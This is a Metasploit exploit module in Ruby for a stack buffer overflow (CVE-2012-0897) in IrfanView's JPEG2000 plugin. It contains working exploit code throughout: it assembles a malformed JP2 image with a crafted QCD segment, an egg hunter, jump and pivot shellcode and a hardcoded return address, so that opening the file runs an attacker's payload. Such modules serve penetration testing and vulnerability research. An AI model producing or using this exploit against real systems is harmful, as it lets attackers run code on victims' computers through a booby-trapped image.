require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Irfanview JPEG2000 <= v4.3.2.0 jp2 Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow vulnerability in
version <= 4.3.2.0 of Irfanview's JPEG2000.dll plugin. This exploit has been
tested on a specific version of irfanview (v4.3.2), although other versions may
work also. The vulnerability is triggered via parsing an invalid qcd chunk
structure and specifying a malformed qcd size and data.
Payload delivery and vulnerability trigger can be executed in multiple ways.
The user can double click the file, use the file dialog, open via the icon
and drag/drop the file into Irfanview\'s window. An egg hunter is used for
stability.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Parvez Anwar <parvez[at]greyhathacker.net>',
'mr_me <steventhomasseeley[at]gmail.com>',
'juan vazquez'
],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2012-0897' ],
[ 'OSVDB', '78333'],
[ 'BID', '51426' ],
[ 'URL', 'http://www.greyhathacker.net/?p=525' ],
],
'Platform' => [ 'win' ],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f'
},
'Payload' =>
{
'Space' => 4000,
'DisableNops' => true,
},
'Targets' =>
[
[ 'Irfanview 4.32 / Plugins 4.32 / Windows Universal', { 'Ret' => 0x004819d8 } ]
],
'DisclosureDate' => 'Jan 16 2012',
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The output file name.', 'msf.jp2']),
], self.class)
end
def encode_bytes(raw_bytes)
encoded_bytes = ""
0.step(raw_bytes.length-1, 2) { |i|
encoded_bytes << raw_bytes[i+1]
encoded_bytes << raw_bytes[i]
}
return encoded_bytes
end
def exploit
jp2 = ""
jp2 << "\x00\x00\x00\x0c"
jp2 << "\x6a\x50\x20\x20"
jp2 << "\x0d\x0a\x87\x0a"
jp2 << "\x00\x00\x00\x14"
jp2 << "\x66\x74\x79\x70"
jp2 << "\x6a\x70\x32\x20"
jp2 << "\x00\x00\x00\x00"
jp2 << "\x6a\x70\x32\x20"
jp2 << "\x00\x00\x00\x38"
jp2 << "\x75\x75\x69\x64"
jp2 << "\x61\x70\x00\xde\xec\x87"
jp2 << "\xd5\x11\xb2\xed\x00\x50"
jp2 << "\x04\x71\xfd\xdc\xd2\x00"
jp2 << "\x00\x00\x40\x01\x00\x00"
jp2 << "\x00\x00\x00\x00\x60\x09"
jp2 << "\x00\x00\x00\x00\x00\x00"
jp2 << "\x00\x00\x00\x00\x00\x00"
jp2 << "\x00\x00\x30\x00\x00\x00"
jp2 << "\x00\x00\x00\x2d"
jp2 << "\x6a\x70\x32\x68"
jp2 << "\x00\x00\x00\x16"
jp2 << "\x69\x68\x64\x72"
jp2 << "\x00\x00\x00\x0a"
jp2 << "\x00\x00\x00\x0a"
jp2 << "\x00\x03"
jp2 << "\x07"
jp2 << "\x07"
jp2 << "\x01"
jp2 << "\x00\x00\x00\x00\x0f"
jp2 << "\x63\x6f\x6c\x72"
jp2 << "\x01"
jp2 << "\x00"
jp2 << "\x00"
jp2 << "\x00\x00\x00"
jp2 << "\x10\x00\x00\x00\x00"
jp2 << "\x6a\x70\x32\x63"
jp2 << "\xff\x4f"
jp2 << "\xff\x51"
jp2 << "\x00\x2f"
jp2 << "\x00\x00"
jp2 << "\x00\x00\x00\x0a"
jp2 << "\x00\x00\x00\x0a"
jp2 << "\x00\x00\x00\x00"
jp2 << "\x00\x00\x00\x00"
jp2 << "\x00\x00\x00\x0a"
jp2 << "\x00\x00\x00\x0a"
jp2 << "\x00\x00\x00\x00"
jp2 << "\x00\x00\x00\x00"
jp2 << "\x00\x03"
jp2 << "\x07\x01\x01"
jp2 << "\x07\x01\x01"
jp2 << "\x07\x01\x01"
jp2 << "\xff\x52"
jp2 << "\x00\x0c"
jp2 << "\x00"
jp2 << "\x00"
jp2 << "\x00\x05"
jp2 << "\x01"
jp2 << "\x05"
jp2 << "\x04"
jp2 << "\x04"
jp2 << "\x00"
jp2 << "\x00"
eggoptions =
{
:checksum => false,
:eggtag => 'pwnd'
}
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
qcd_data = ""
qcd_data << make_nops(10)
qcd_data << encode_bytes(hunter)
qcd_data << rand_text_alpha(146)
jmp_hunter = %q{
jmp $-0xad
inc ecx
}
jmp_hunter = Metasm::Shellcode.assemble(Metasm::Ia32.new, jmp_hunter).encode_string
qcd_data << encode_bytes(jmp_hunter)
qcd_data << rand_text_alpha(196-qcd_data.length)
qcd_data << encode_bytes([target.ret].pack("V"))
pivot = %q{
inc ch
jmp ecx
}
pivot = Metasm::Shellcode.assemble(Metasm::Ia32.new, pivot).encode_string
qcd_data << encode_bytes(pivot)
qcd_data << egg
jp2 << "\xff\x5c"
jp2 << "\x00\xf5"
jp2 << "\x22"
jp2 << qcd_data
jp2 << "\xff\x90"
jp2 << "\x00\x0a"
jp2 << "\x00\x00\x00\x00\x00\x68\x00\x01"
jp2 << "\xff\x93"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80\x80\x80\x80\x80\x80\x80"
jp2 << "\x80\x80"
jp2 << "\xff\xd9"
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create(jp2)
end
end